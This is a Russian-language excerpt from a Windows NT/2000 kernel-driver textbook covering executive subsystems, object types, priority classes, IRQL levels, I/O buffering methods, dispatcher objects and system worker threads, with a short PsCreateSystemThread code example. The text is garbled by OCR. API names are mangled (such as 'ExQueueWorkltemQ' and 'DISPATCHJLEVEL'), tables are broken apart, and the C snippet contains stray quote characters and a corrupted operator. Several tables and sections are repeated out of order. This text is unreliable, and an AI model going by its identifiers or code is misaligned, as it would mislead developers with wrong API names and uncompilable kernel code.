    Число стеков размещения ввода/вывода устанавливается Диспетчером ввода/вывода в поле StackSize объекта-устройства. По умолчанию это значение равно 1. Присваивание происходит при создании устройства функцией IoCreateDevice(). Если вы создаёте многоуровневый драйвер, вы должны установить StackSize на 1 больше, чем StackSize объекта-устройства, над которым будете размещать свое устройство. В случае, если ваше устройство будет использовать больше одного устройства уровнем ниже, поле StackSize этого устройства должно быть на 1 больше максимального значения StackSize из всех устройств уровнем ниже.

    Структура Windows NT

    Структура Windows NT

    Всю операционную систему Windows NT можно разделить на следующие части (см. Рисунок 2):
  • 1. защищенные подсистемы (protected subsysterns), работающие в пользовательском режиме, тогда как остальная часть ОС исполняется в режиме ядра;

  • 2. исполнительная система (executive);

  • 3. ядро (kernel);

  • 4. слой абстрагирования от оборудования (Hardware Abstraction Layer, HAL).


  • Подсистемы Исполнительной Системы NT и их предназначение

    Таблица 1. Подсистемы Исполнительной Системы NT и их предназначение


    Подсистема исполнительной системы
    Предназначение
    Диспетчер Объектов (Object Manager)
    Управляет ресурсами и реализует глобальное пространство имен
    Монитор Безопасности (Secu rity Reference Monitor)
    Реализует модель безопасности NT на основе Идентификаторов Безопасности (SID) и Списков Разграничительного Контроля Доступа (Discretionary Access Control List - DACL)
    Диспетчер Виртуальной Памяти (Virtual Memory Manager)
    Определяет адресное пространство процесса и распределяет физическую память
    Диспетчер Ввода/Вывода (I/O Manager)
    Служит интерфейсом между прикладными программами и драйверами устройств
    Диспетчер Кэша (Cache Manager)
    Реализует глобальный файловый кэш
    Средство Вызова Локальных Процедур (Local Procedure Call (LPC) Facility)
    Обеспечивает эффективную межпроцессную коммуникацию
    Диспетчер Конфигурации (Configuration Manager)
    Управляет Реестром
    Диспетчер Процессов (Process Structure)
    Экспортирует программные интерфейсы (API) процессов и потоков
    Поддержка среды Win32 (Win32 Support)
    Реализует Win32-функции обмена сообщениями и рисования (новые для NT 4.0)
    Диспетчер Plug-and-Play (Plug-and-Play Manager)
    Уведомляет драйверы устройств о включении или отключении устройства (новые для NT 5.0)
    Диспетчер Электропитания (Power Manager)
    Контролирует состояние электропитания компьютера (появился в NT 5.0)
    Исполнительный модуль (Ex- ecutive Support)
    Реализует управление очередями, системной областью памяти, обеспечивает системные рабочие потоки

    Ниже перечислены компоненты исполнительной системы и их области ответственности.
    Справочный монитор защиты (security reference monitor) отвечает за реализацию единой политики защиты на локальном компьютере. Оберегает ресурсы ОС, обеспечивая защиту объектов и аудит во время выполнения доступа к ним. Справочный монитор защиты использует для реализации единой системной политики безопасности списки контроля доступа (Access Control Lists, ACL), содержащие информацию о том, какие процессы имеют доступ к конкретному объекту и какие действия они могут над ним выполнять, и идентификаторы безопасности (Security Identifiers, SI). Он поддерживает уникальный для каждого потока профиль защиты, и проверку полномочий при попытке доступа к объектам. При открытии потоком описателя объекта активизируется подсистема защиты, сверяя ACL, связанный с объектом, с запрашиваемыми потоком действиями над этим объектом. Другим аспектом справочного монитора защиты является поддержка имперсонации (impersonation), которая позволяет одному потоку передать другому право использования своих атрибутов защиты. Это наиболее часто используется во время клиент-серверных операций, когда сервер использует атрибуты защиты клиента.

    Диспетчер процессов (process manager или process structure) отвечает за создание и уничтожение процессов и потоков. Диспетчер процессов взаимодействует с диспетчером объектов для построения объекта-процесса и объекта-потока, а также взаимодействует с диспетчером памяти для выделения виртуального адресного пространства для процесса.

    Средство локального вызова процедур (LPC) организует взаимодействие между клиентскими и серверными процессами, расположенными на одном и том же компьютере. LPC - это гибкая, оптимизированная версия удаленного вызова процедур (Remote Procedure Call, RPC), средства коммуникации между клиентскими и серверными процессами по сети. LPC поддерживает передачу данных между клиентом и сервером посредством использования объектов-портов, которые в качестве атрибутов имеют указатель на очередь сообщений и описатель секции разделяемой памяти. API, необходимый для доступа к LPC, не документирован. Интересно, что запрос RPC между приложениями, исполняющимися на одном компьютере, в действительности будет использовать механизм LPC.

    Диспетчер памяти и диспетчер кэша (memory manager и cache manager). Диспетчер памяти и диспетчер кэша вместе формируют подсистему виртуальной памяти. Эта подсистема виртуальной памяти реализует 32-разрядную страничную организацию памяти. Подсистема виртуальной памяти поддерживает совместное использование страниц физической памяти между несколькими процессами. Она поддерживает разделяемый сегмент памяти «только для чтения», а также «чтения-записи». Подсистема виртуальной памяти отвечает за реализацию механизма кэширования данных. Данные файла могут быть доступны через диспетчера ввода/вывода при использовании стандартных операций чтения и записи в файл, или через диспетчер памяти посредством проецирования данных файла напрямую в виртуальное пространство процесса. Чтобы гарантировать согласованность между этими двумя методами доступа, диспетчер кэша поддерживает единый глобальный общий кэш. Этот единый кэш используется для кэширования, как страниц процесса, так и страниц файла. Диспетчер памяти реализует схему управления памятью, которая предоставляет каждому процессу 4-гигабайтное собственное виртуальное адресное пространство и защищает его от других процессов. Диспетчер памяти реализует механизм подкачки страниц (paging) - перенос страниц физической памяти на диск и обратно. Диспетчер кэша повышает производительность файлового ввода/вывода, сохраняя информацию, считанную с диска последней, в системной памяти. Диспетчер кэша использует средство подкачки страниц диспетчера памяти для автоматической записи информации на диск в фоновом режиме.

    Поддержка среды Win32 (Win32 support) включает диспетчера окон (window manager), интерфейс графических устройств (Graphic Device Interface, GDI), драйверы графических устройств (graphic device drivers). Эти компоненты поддержки среды Win32 были перенесены в режим ядра в версии NT 4.0, а ранее они принадлежали подсистеме среды Win32. Эти средства взаимодействуют между GUI - приложениями и графическими устройствами.

    Диспетчер конфигурации (configuration manager) определяет тип объект-ключ (key object) и манипулирует этими объектами. Тип объект-ключ представляет элемент реестра Windows NT. Каждый экземпляр типа объект-ключ представляет либо некоторый узел реестра, являющийся частью пути к множеству подключей, либо он содержит именованные поля с соответствующими значениями.




    Число Системных Рабочих Потоков

    Таблица 10. Число Системных Рабочих Потоков


    Тип рабочего потока
    Объем системной памяти
    Базовый приоритет планирования
    12-19 MB 20-64 MB >64MB
    Delayed
    3 3 3 Значение в диапазоне динамических приоритетов
    Critical
    3 Professional: 3 Server: 6 Professional: 5 Server: 10 Значение в диапазоне приоритетов реального времени
    HyperCritical
    1 1 1 Не документирован

    Следует отметить, что использование единственного потока типа HyperCritical не документировано. ОС использует этот поток для выполнения функции - чистильщика, которая освобождает потоки при их завершении.

    При постановке рабочего элемента в очередь указывается тип потока, которому предназначен рабочий элемент.

    Для работы с системными рабочими потоками существует два набора функций -функции с префиксом Ех, и функции с префиксом Iо. Функции с префиксом Ех использовались в ОС NT 4.0 и более ранних версиях, и в Win2000 считаются устаревшими. В любом случае, вначале драйвер должен инициализировать рабочий элемент с помощью функций ExInitializeWorkltem() или IoAllocateWorkItem(), поместить рабо- чий элемент в очередь с помощью функций ExQueueWorkltem() или loQueueWorkltem(), а при запуске функции, указанной в рабочем элементе, эта функция обязана освобо- дить занимаемые рабочим элементом ресурсы с помощью функций ExFreePool() или loFreeWorkltem().




    Ситуации, инициирующие

    Таблица 11. Ситуации, инициирующие очистку очереди DPC
    Приоритет DPC

    DPC выполняются на том же процессоре, что и ISR

    DPC выполняются на другом процессоре

    Низкий

    Размер очереди DPC превышает максимум, частота появления запросов DPC меньше минимальной, или система простаивает

    Размер очереди DPC превышает максимум или система простаивает (выполняется поток idle)

    Средний

    Всегда

    Размер очереди DPC превышает максимум или система простаивает (выполняется поток idle)

    Высокий

    Всегда

    Всегда



    Типы объектов и подсистемы исполнительной системы, которые ими управляют

    Таблица 2. Типы объектов и подсистемы исполнительной системы, которые ими управляют


    Тип Объекта Какой ресурс представляет
    Подсистема
    Тип Объекта (Object type)
    Объект типа объекта
    Диспетчер объектов
    Директория (Directory)
    Пространство имен объектов
    Диспетчер объектов
    Символическая Связь (SymbolicLink)
    Пространство имен объектов
    Диспетчер объектов
    Событие (Event)
    Примитив синхронизации
    Исполнительный модуль
    Пара Событий (Event- Pair)
    Примитив синхронизации
    Исполнительный модуль
    Мутант (Mutant)
    Примитив синхронизации
    Исполнительный модуль
    Таймер (Timer)
    Таймерное предупреждение
    Исполнительный модуль
    Семафор (Semaphore)
    Примитив синхронизации
    Исполнительный модуль
    Станция Windows (Windows Station)
    Интерактивный вход в систему
    Поддержка среды Win32
    Рабочий Стол (Desktop)
    Рабочий Стол Windows
    Поддержка среды Win32
    Файл (File)
    Отслеживание открытых файлов
    Диспетчер ввода/вывода
    Завершение ввода/вывода (I/O Completion)
    Отслеживание завершения ввода/вывода
    Диспетчер ввода/вывода
    Адаптер (Adapter)
    Ресурс прямого Доступа к Памяти (DMA)
    Диспетчер ввода/вывода
    Контроллер (Controller)
    Контроллер DMA
    Диспетчер ввода/вывода
    Устройство (Device)
    Логическое или физическое устройство
    Диспетчер ввода/вывода
    Драйвер (Driver)
    Драйвер устройства
    Диспетчер ввода/вывода
    Ключ (Key)
    Вход в реестре
    Диспетчер конфигурации
    Порт (Port)
    Канал связи
    Средство LPC
    Секция (Section)
    Отображение в памяти
    Диспетчер памяти
    Процесс (Process)
    Активный процесс
    Диспетчер процессов
    Поток (Thread)
    Активный поток
    Диспетчер процессов
    Маркер (Token)
    Профиль безопасности про- цесса
    Диспетчер процессов
    Профиль (Profile)
    Измерение производительности
    Ядро

    Прикладная программа использует дескриптор, чтобы идентифицировать ресурс в последующих операциях. Когда прикладная программа закончила работу с объектом, она закрывает дескриптор. Диспетчер Объектов использует подсчет ссылок, чтобы проследить сколько элементов системы, включая прикладные программы и подсистемы Исполнительной Системы, обращаются к объекту, который представляет ресурс. Когда счетчик ссылок обнуляется, объект больше не используется как представление ресурса, и Диспетчер Объектов удаляет объект (но не обязательно ресурс).

    Для обеспечения идентификации объектов, Диспетчер Объектов реализует пространство имен NT. Все разделяемые ресурсы в NT имеют имена, располагающиеся в этом пространстве имен. Например, когда программа открывает файл, Диспетчер Объектов анализирует имя файла для выявления драйвера файловой системы (FSD) для диска, который содержит файл. Точно так же, когда прикладная программа открывает ключ Реестра, Диспетчер Объектов по имени ключа Реестра определяет, что должен быть вызван Диспетчер Конфигурации.

    Рассмотрим следующий пример:

    Прикладная программа вызывает функцию Win32 - CreateFile() с именем файла «c:\mydir\file.txt». При этом происходят следующие действия:
  • 1. Вызов системного сервиса NtCreateFile(). В качестве имени ему будет передано «\??\c:\mydir\file.txt». Такой формат имени является «родным» для NT, точнее - это формат имени в пространстве имен Диспетчера Объектов.

  • 2. Диспетчер Объектов начнет последовательно разбирать переданное имя. Первым будет разобран элемент «\??». Корень пространства имен содержит объект с таким именем. Тип объекта - «Directory». В этой директории будет произведен поиск объекта с именем «с:». Это - «SymbolicLink» - ссылка на имя «\Device\Harddisk0\ Partition 1». Дальнейшему разбору будет подвергнуто имя «\Device\Harddisk0\Partitionl\ mydir\file.txt». Разбор будет закончен при достижении объекта, не являющегося директорией или символической связью. Таким объектом будет «Partition 1», имеющий тип «Device». Этому объекту для дальнейшей обработки будет передано имя «\mydir\file.txt».





  • Классы приоритетов

    Таблица 3. Классы приоритетов


    Класс приоритета

    Базовый приоритет

    Примечание

    REALTIME PRIORITY CLASS

    24



    HIGH PRIORITY CLASS

    13



    ABOVE NORMAL PRIORITY CLASS

    10

    Только Win 2000

    NORMAL PRIORITY CLASS

    8



    BELOW NORMAL PRIORITY CLASS

    6

    Только Win 2000

    IDLE PRIORITY CLASS

    4




    Поток может иметь одно из 7 значений (см. таблицу 4): 5 значений, относительных внутри каждого класса приоритетов, и 2 значения, относительных внутри диапазонов динамического приоритета и приоритетов реального времени.

    Относительный приоритет

    Таблица 4. Относительный приоритет


    Относительный приоритет
    THREAD PRIORITY TIME CRITICAL
    15 (31)
    THREAD PRIORITY HIGHEST
    +2
    THREAD PRIORITY ABOVE NORMAL
    +1
    THREAD PRIORITY NORMAL
    +0
    THREAD PRIORITY BELOW NORMAL
    -1
    THREAD PRIORITY LOWEST
    -2
    THREAD PRIORITY IDLE
    1 (16)

    Два значения, обозначающие минимальное и максимальное значение приоритета внутри диапазона динамических приоритетов и приоритетов реального времени - это THREAD_PRIORITY_IDLE и THREAD_PRIORITY_ TIME_CRITICAL. Для диапазона динамических приоритетов они обозначают базовые приоритеты 1 и 15, а для диапазона приоритетов реального времени - 16 и 31 соответственно.

    Любой поток всегда создается с относительным приоритетом THREAD_ PRJORITY_NORMAL. Соответствующие значения базового приоритета в зависимости от класса приоритета указаны в таблице 3.

    Относительный приоритет потока может быть получен/изменен с помощью WIN32-функций GetThreadPriority()/SetThreadPriority().

    Необходимо отметить, что служебные потоки ОС, производящие операции с мышью и клавиатурой, а также некоторые файловые операции, работают с приоритетом реального времени. Поэтому использование пользовательскими потоками таких приоритетов может повлиять на корректность функционирования ОС.



    Таблица 5 представляет символические

    Таблица 5 представляет символические имена IRQL и соответствующие им числовые значения в архитектурах Intel и Alpha.

    Низшие уровни IRQL (от passive_level до dispatch_level) используются для синхронизации программных частей операционной системы. Эти IRQL сконструированы как программные прерывания. Уровни IRQL выше dispatch_level, имеют ли они конкретные мнемонические имена или нет, отражают приоритеты аппаратных прерываний. Таким образом, эти аппаратные IRQL часто упоминаются как уровни IRQL Устройства (или DIRQL).

    Конкретные значения, назначенные мнемоническим именам IRQL, изменяются от системы к системе. Взаимоотношения между программными уровнями IRQL от системы к системе остаются постоянными; верным также остается положение о том, что программные уровни IRQL имеют более низкий приоритет, чем аппаратные IRQL. Таким образом, IRQL passive_level всегда является самым низким уровнем IRQL в системе, apcjevel всегда выше, чем passive_level, и dispatch_level всегда выше, чем apc_level. Все эти уровни IRQL всегда ниже, чем самый низкий уровень DIRQL.


    Символические и числовые определения IRQL

    Таблица 5. Символические и числовые определения IRQL


    Символическое имя
    Предназначение
    Уровень Intel Уровень Alpha
    HIGH LEVEL
    Наивысший уровень прерывания
    31 7
    POWER LEVEL
    Power event
    30 7
    IPI LEVEL
    Межпроцессорный сигнал
    29 6
    CLOCK LEVEL
    такт системных часов
    28 5
    PROFILE LEVEL
    Контроль производительности
    27 3
    DEVICE LEVEL
    Обычные прерывания устройств
    3-26 3-4
    DISPATCH_LEVEL
    Операции планирования и отложенные вызовы процедур (DPC)
    2 2
    APC LEVEL
    Асинхронные вызовы процедур (АРС)
    1 1
    PASSIVE LEVEL
    Нет прерываний
    0 0

    В отличие от программных IRQL, значения и отношения аппаратных IRQL могут изменяться в зависимости от реализации аппаратной части системы. Например, в архитектурах на основе х86, уровень IRQL profile_level ниже, чем IRQL ipi_level, который является в свою очередь ниже, чем IRQL power_level. Однако, на MIPS системах, IRQL power_level и IRQL ipi_level имеют то же самое значение, и оба ниже, чем IRQL profilejevel.

    Уровни IRQL являются главным методом, используемым для расположения по приоритетам действий операционной системы Windows NT. Повышение уровня IRQL позволяет подпрограмме операционной системы как управлять повторной входимос-тью (реентерабельность) так и гарантировать, что она может продолжать работу без приоритетного прерывания (вытеснения) некоторыми другими действиями. Следующие разделы описывают, как используются наиболее распространенные уровни IRQL.

    Характеристики Прямого

    Таблица 6. Характеристики Прямого ввода/вывода, Буферизованного ввода/вывода i и «никакого» ввода/вывода


    Прямой ввод/вывод (Direct I/O)
    Буферизованный ввод/вывод (Buffered I/O)
    "Никакой" ввод/вывод (Neither I/O)
    Буфер инициа тора запроса
    Описывается с по- мощью MDL
    Скопирован во вре- менный буфер в не- выгружаемой сис- темной памяти
    Описывается виртуальным адресом инициатора запроса
    Состояние буфера инициатора запроса в процессе обработки запроса ввода/вывода
    Буфер блокирован в памяти Диспетче- ром ввода/вывода
    Буфер не блокирован
    Буфер не блокирован
    Описание буфе ра в IRP
    Irp->MdlAddress содержит указатель наМВЬ
    Irp->Associate- dlrp. SystemBuffer содержит виртуальный адрес временно- го буфера в системной области памяти в области невыгру жаемой памяти (non- paged pool)
    Irp->UserBuffer содержит не проверенный на доступ- ность виртуальный адрес буфера ини- циатора запроса ввода/вывода
    Контекст, при котором буфер может быть ис- пользован
    Случайный кон текст
    Случайный контекст
    Только контекст потока - инициатора запроса
    Уровень IRQL, ipn котором буфер может быть использован
    IRQL Любой
    IRQL < DIS- PATCH_LEVEL

    Для описания всех запросов чтения и записи, которые посылаются конкретному устройству, после создания объекта-устройства в его поле Flags Диспетчеру ввода/

    вывода должен быть указан единственный метод для использования. Однако для каждого кода Управления Вводом/выводом Устройства (I/O Control Code, IOCTL), поддерживаемого драйвером, может использоваться любой другой метод.



    Если су- ществует, то где

    Таблица 7



    METHOD BUFFERED
    METHOD IN DIRECT
    METHOD OUT DIRECT
    METHOD NEITHER
    InBuffer
    Метод передачи
    Buffered I/O
    Buffered I/O
    Buffered I/O
    Виртуальный адрес инициатора запроса
    Если су- ществует, то где располо- жен
    Адрес промежуточного буфера в фиксированной части IRP в поле Irp->AssociatedIrp. SystemBuffer
    В стеке размещения ввода/вывода вир- туальный адрес инициатора запроса в Parame ters. Devicelo- Control. TypeSInputBuffer
    Длина
    Длина в байтах в поле Parameters.DeviceloControl.InputBuffer Length в текущем стеке размещения ввода/вывода.
    Out- Buffer
    Метод передачи
    Buffered I/O
    Direct I/O
    Direct I/O
    Виртуальный адрес инициатора запроса
    Если су- ществует, то где располо- жен
    Адрес промежуточного буфера в фиксированной части IRP в поле Irp->Associate-dlrp.SystemB uffer
    MDL, адрес в Irp->MdlAd- dress
    MDL, адрес в Irp->MdlAd- dress
    Виртуальный адрес инициатора запроса в Irp->UserBuffer
    Длина
    Длина в байтах в поле Parameters.DeviceloControl.OutputBufferLength в текущем стеке раз- мещения ввода/вывода.

    Для завершения запроса IRP необходимо установить поле Irp->IoStatus.Information равным числу прочитанных/записанных в буфер байт. В случае буферизованного ввода/вывода это поле укажет Диспетчеру ввода/вывода, сколько

    байт нужно скопировать из промежуточного буфера в невыгружаемой области системного адресного пространства в пользовательский буфер.

    Диспетчерские объекты

    Таблица 8. Диспетчерские объекты
    Тип Объекта

    Переход в сигнальное состояние

    Результат для ожидающих потоков

    Мьютекс (Mutex)

    Освобождение мьютекса

    Освобождается один из ожидающих потоков

    Семафор (Semaphore)

    Счетчик захватов становится ненулевым

    Освобождается некоторое число ожидающих потоков

    Событие синхрониза ции (Synchronization events)

    Установка события в сигнальное состояние

    Освобождается один из ожидающих потоков

    Событие оповещения (Notification event)

    Установка события в сигнальное состояние

    Освобождаются все ожидающие потоки

    Таймер синхронизации (Synchronization timer)

    Наступило время или истек интервал

    Освобождается один из ожидающих потоков

    Таймер оповещения (Notification timer)

    Наступило время или истек интервал

    Освобождаются все ожидающие потоки

    Процесс

    Завершился последний поток процесса

    Освобождаются все ожидающие потоки

    Поток

    Поток завершился

    Освобождаются все ожи дающие потоки

    Файл

    Завершена операция ввода/вывода

    Освобождаются все ожидающие потоки


    Диспетчерские объекты управляются Диспетчером объектов. Как и все объекты Диспетчера объектов, они могут иметь имена в пространстве имен Диспетчера объектов. С помощью этого имени различные драйвера и прикладные программы могут обращаться к соответствующему объекту. Кроме того, каждый процесс имеет таблицу описателей, связанных с конкретным объектом. Как уже говорилось, описатель в таблице описателей уникален и имеет смысл только в контексте конкретного процесса. Однако Диспетчер объектов предоставляет функцию ObReferenceObjectByHandle(), которая дает возможность получения указателя на объект по его описателю. Эту функцию, как следует из вышесказанного, можно использовать только в контексте известного процесса (для которого создавался описатель), а полученный указатель на объект уже можно использовать в случайном контексте. Чтобы такой объект впоследствии мог быть удален, по окончании его использования должна быть вызвана функция ObDereference Object().

    Объект синхронизации

    Таблица 9

    Объект синхронизации Уровень IRQL, на котором может работать запрашивающий синхронизацию поток Уровень IRQL, на котором будет работать запросивший синхронизацию поток при освобождении объекта синхронизации или его переходе в сигнальное состояние

    Запрос без блокирования потока Запрос с блокированием потока.

    Стандартная спин-блокировка (Standard Spin Lock) <= DISPATCH_LEVEL DISPATCHJLEVEL

    Спин-блокировка для ISR, определенная по умолчанию (Default ISR Spin Lock) <= DIRQL DIRQL

    Спин-блокировка для синхронизации с ISR (ISR Synchronize Spin Lock) <= Specified DIRQL Specified DIRQL

    Мьютекс (Mutex) <=DISPATCH_LEVEL
    Семафор (Semaphore) <=DISPATCKLLEVEL
    Событие синхронизации (Synchronization Event) <=DISPATCH_LEVEL
    Событие уведомления (Notification Event) <=DISPATCH_LEVEL
    Таймер синхронизации (Synchronization Timer) <=DISPATCH_LEVEL
    Таймер уведомления (Notification Timer) <=DISPATCH_LEVEL
    Процесс (Process) <=DISPATCH_LEVEL
    Поток (Thread) <=DISPATCH_LEVEL
    Файл (File) <=DISPATCH_LEVEL
    Ресурсы (Resources) < DISPATCH_LEVEL
    2.4.6. Рабочие потоки

    2.4.6.1. Необходимость в создании рабочих потоков

    Любой исполняемый код, как и код драйвера, работает в контексте некоторого потока. Мы пока не обсуждали способы, с помощью которых драйвер может создать собственный поток, поэтому предполагается, что поток, в котором выполняется код драйвера, принадлежит некоторой прикладной программе. Это означает, что прикладная программа создала такой поток для выполнения своего кода, а не кода нашего драйвера. Если код драйвера производит длительную обработку, либо драйвер использует механизм синхронизации с ожиданием освобождения некоторого ресурса, код прикладной программы, для выполнения которого и создавался поток, не выполняется.
    Если этот поток единственный в прикладном процессе, то прикладная программа «висит».

    Если описанная ситуация имеет место в диспетчерской функции драйвера верхнего уровня, мы «всего лишь» «подвесили» прикладную программу, непосредственно взаимодействующую с драйвером. В этом случае прикладная программа знает о такой возможности, и может поместить операции взаимодействия с драйвером (чтение, запись, отправка кодов управления) в отдельный поток. В этом случае драйвер может не беспокоиться о прикладной программе. Однако, такая ситуация довольно редка. Очень часто код драйвера работает в контексте случайного потока, то есть любого произвольного потока в системе. Такой поток ничего не знает о нашем драйвере и вышеописанная ситуация неприемлема. В этом случае драйвер должен создать свой собственный поток, в котором и производить длительную обработку, либо ожидание освобождения ресурсов.

    Возможна другая ситуация, требующая обязательного создания потоков, когда драйверу необходимо выполнить операции на уровне IRQL меньшем DISPATCHJLEVEL, а код драйвера работает на повышенных уровнях IRQL, больших или равных DISPATCH_LEVEL.

    2.4.6.2. Системные рабочие потоки

    В процессе системной инициализации NT создает несколько потоков в процессе System. Эти потоки служат исключительно для выполнения работы, затребованной другими потоками. Такие потоки наиболее удобны в случаях, когда потоку с повышенным уровнем IRQL требуется выполнить работу на уровне IRQL PASSIVEJLEVEL.

    В принципе, можно создать новый поток, однако создание нового потока и его планирование планировщиком является более ресурсоемким, чем использование существующего потока. Большинство стандартных компонент ОС, таких как компоненты файловой системы, используют для своих нужд готовые системные рабочие потоки.

    Имеются ситуации, при которых использование системных рабочих потоков неприемлемо в силу их организации. Такими ситуациями являются необходимость в дли-

    тельной (несколько сотен микросекунд) обработке внутри потока, либо длительное ожидание освобождения ресурса или наступления события.


    В этих ситуациях драйвер должен создавать свой собственный поток.

    Как организованы системные рабочие потоки? Как уже было сказано, в процессе системной инициализации NT создает несколько системных рабочих потоков. Число этих потоков фиксировано. Для всех потоков существует единая очередь, из которой поток выбирает адрес функции драйвера, которая должна быть выполнена в данном потоке. Такая функция называется рабочим элементом (Workltem). Функция выполняется в потоке до своего завершения, после чего поток выбирает из очереди следующий рабочий элемент. Если очередь пуста, поток блокируется до появления в очереди очередного рабочего элемента.

    Существует три типа системных рабочих потоков: Delayed (замедленные), Critical (критические) и Hypercritical (сверхкритические). Все типы потоков создаются на уровне IRQL PASSIVE_LEVEL. Для каждого типа потоков будут различны:

    • число потоков данного типа;

    • базовый приоритет планирования потока, относящегося к данному типу;

    • очередь рабочих элементов.

    Число потоков каждого типа зависит от объема памяти и типа ОС. В таблице 10 указано число потоков и базовый приоритет планирования для ОС Win2000 Professional и Server.

    Таблица 10. Число Системных Рабочих Потоков

    Тип рабочего потока Объем системной памяти Базовый приоритет планирования

    12-19 MB 20-64 MB >64MB

    Delayed 3 3 3 Значение в диапазоне динамических приоритетов

    Critical 3 Professional: 3 Server: 6 Professional: 5 Server: 10 Значение в диапазоне приоритетов реального времени

    HyperCritical 1 1 1 Не документирован

    Следует отметить, что использование единственного потока типа HyperCritical не документировано. ОС использует этот поток для выполнения функции - чистильщика, которая освобождает потоки при их завершении.

    При постановке рабочего элемента в очередь указывается тип потока, которому предназначен рабочий элемент.

    Для работы с системными рабочими потоками существует два набора функций -функции с префиксом Ех, и функции с префиксом 1о. Функции с префиксом Ех использовались в ОС NT 4.0 и более ранних версиях, и в Win2000 считаются устаревшими.


    В любом случае, вначале драйвер должен инициализировать рабочий элемент с

    помощью функций ExInitializeWorkltemQ или IoAllocateWorkItem(), поместить рабо- чий элемент в очередь с помощью функций ExQueueWorkltemQ или loQueueWorkltemQ, а при запуске функции, указанной в рабочем элементе, эта функция обязана освобо- дить занимаемые рабочим элементом ресурсы с помощью функций ExFreePoolQ или loFreeWorkltemQ.

    2.4.6.3. Создание потоков драйвером

    В случае, когда использование системных рабочих потоков невозможно, драйвер должен создать свой собственный поток. Для создания нового потока используется функция PsCreateSystemThreadQ. В качестве одного из параметров функция имеет описатель процесса, в контексте которого нужно создать поток. Чтобы правильно использовать описатель, код драйвера должен выполняться в контексте процесса, таблица описателей которого содержит описатель процесса, в контексте которого мы хотим создать поток. Если описатель процесса не указан (значение NULL), новый поток будет создан в контексте процесса System.

    Для уничтожения потока из драйвера используется функция PsTerminate SystemThreadQ. Эта функция должна быть вызвана из самого уничтожаемого потока, так как она уничтожает текущий поток и не позволяет указать поток, который нужно уничтожить.

    Вновь созданный поток будет работать на уровне IRQL PASSIVE_LEVEL и иметь базовое значение приоритета планирования равным 8 (динамический диапазон приоритетов, базовое значение для класса NORMAL). После создания код потока может изменить базовое значение приоритета планирования на любое значение в диапазоне динамических приоритетов либо приоритетов реального времени. Это делается с помощью функции KeSetPriorityThreadQ. Отметим, что это не повышение уровня приоритета планирования, после которого уровень приоритета постепенно снизится до базового значения, а именно установка нового базового значения приоритета.

    Код потока может не только изменить значение приоритета планирования при уровне IRQL PASSIVE_LEVEL, но и повысить уровень IRQL.


    Для этого служит функция KeRaiselrqlQ. Работа потока на повышенном уровне IRQL должна быть завершена как можно скорее, после чего должно быть восстановлено первоначальное значение IRQL с помощью функции KeLowerlrqlQ. Использование функции KeRaiselrqlQ для понижения IRQL и функции KeLowerlrqlQ для повышения IRQL не допускается, так как это приведет к возникновению синего экрана.

    2.4.6.4. Потоки как диспетчерские объекты

    Как говорилось в разделе, посвященном механизмам синхронизации, поток является диспетчерским объектом, который переходит в сигнальное состояние при своем завершении. Следующий пример демонстрирует способ синхронизации с помощью объекта-потока.

    NTSTATUS DriverEntry( .... )

    status = PsCreateSystemThread(&thread_handle,

    0,

    NULL,

    0,

    NULL,

    thread_func,

    pDevExt~>thread_context) ; if (status != STATUS_SUCCESS)

    {

    //обработка ошибки } else

    {

    status = ObReferenceobjectByHandle (thread_handle, THREAD_ALL_ACCESS, NULL,

    KernelMode,

    (PVOID*) &pDevExt->pThreadObject, NULL) ; if (status != STATUS_SUCCESS)

    { ' ' ': ' " ' ' ' ' '

    //обработка ошибки

    Функция потока:

    VOID thread_func(PVOID Context)

    { ' ' ' '; , ' -

    //Рабочий код потока

    //Завершение потока PsTerminateSystemThread'(STATUS_SUCCESS) ;

    Функция, ожидающая завершение работы потока: .... SomeFunc( .... )

    status = KeWaitForSingleObject (pDevExt->pThreadObject,

    Executive,

    KernelMode,

    FALSE ,

    NULL) ; ObDereferenceObject (pDevExt->pThreadObject) ;

    Прокомментируем этот пример. При создании потока с помощью функции PsCreateSystemThread() возвращается описатель потока в контексте процесса, в котором поток был создан. Важно понимать, что это может быть совершенно не тот процесс, в контексте которого была вызвана функция PsCreateSystem ThreadQ. В этом случае мы не можем напрямую воспользоваться функцией ObReference ObjectByHandle() для получения указателя на объект-поток по его описателю.

    Существует простейший способ решения этой проблемы, основанный на том факте, что функция - точка входа в драйвер DriverEntry, всегда вызывается в контексте потока System.


    Вызов функции PsCreateSystemThreadQ следует производить из DriverEntry, и при этом указывать создавать поток в контексте процесса System. Получив описатель созданного потока, можно получить указатель на объект-поток с помощью ObReferenceObjectByHandleQ, и в дальнейшем пользоваться этим указателем в контексте любого процесса и потока. При завершении использования объекта-потока надо обязательно освободить его с помощью вызова ObDereferenceObjectQ. Все вышесказанное иллюстрируется Рисунок 13.

    Если драйверу все же необходимо по каким-либо причинам создать поток в контексте процесса, отличного от процесса System, либо создать поток в контексте процесса System, находясь в контексте другого потока, ему нужно каким-то образом попасть в контекст памяти процесса, в таблице описателей которого хранится информация о нужном процессе. Для этого служит недокументированная функция KeAttachProcessQ. После необходимой обработки необходимо восстановить предыдущее состояние с помощью вызова KeDetachProcessQ.

    Вышесказанное относилось только к ОС Windows NT 4.0. В ОС Win2000 появилась специальная таблица описателей, называемая таблицей описателей ядра (kernel handle table), которая может быть доступна с помощью экспортируемого имени ObpKernelHandleTable.


    Если этот поток единственный в прикладном процессе, то прикладная программа «висит».

    Если описанная ситуация имеет место в диспетчерской функции драйвера верхнего уровня, мы «всего лишь» «подвесили» прикладную программу, непосредственно взаимодействующую с драйвером. В этом случае прикладная программа знает о такой возможности, и может поместить операции взаимодействия с драйвером (чтение, запись, отправка кодов управления) в отдельный поток. В этом случае драйвер может не беспокоиться о прикладной программе. Однако, такая ситуация довольно редка. Очень часто код драйвера работает в контексте случайного потока, то есть любого произвольного потока в системе. Такой поток ничего не знает о нашем драйвере и вышеописанная ситуация неприемлема. В этом случае драйвер должен создать свой собственный поток, в котором и производить длительную обработку, либо ожидание освобождения ресурсов.

    Возможна другая ситуация, требующая обязательного создания потоков, когда драйверу необходимо выполнить операции на уровне IRQL меньшем DISPATCHJLEVEL, а код драйвера работает на повышенных уровнях IRQL, больших или равных DISPATCH_LEVEL.

    2.4.6.2. Системные рабочие потоки

    В процессе системной инициализации NT создает несколько потоков в процессе System. Эти потоки служат исключительно для выполнения работы, затребованной другими потоками. Такие потоки наиболее удобны в случаях, когда потоку с повышенным уровнем IRQL требуется выполнить работу на уровне IRQL PASSIVEJLEVEL.

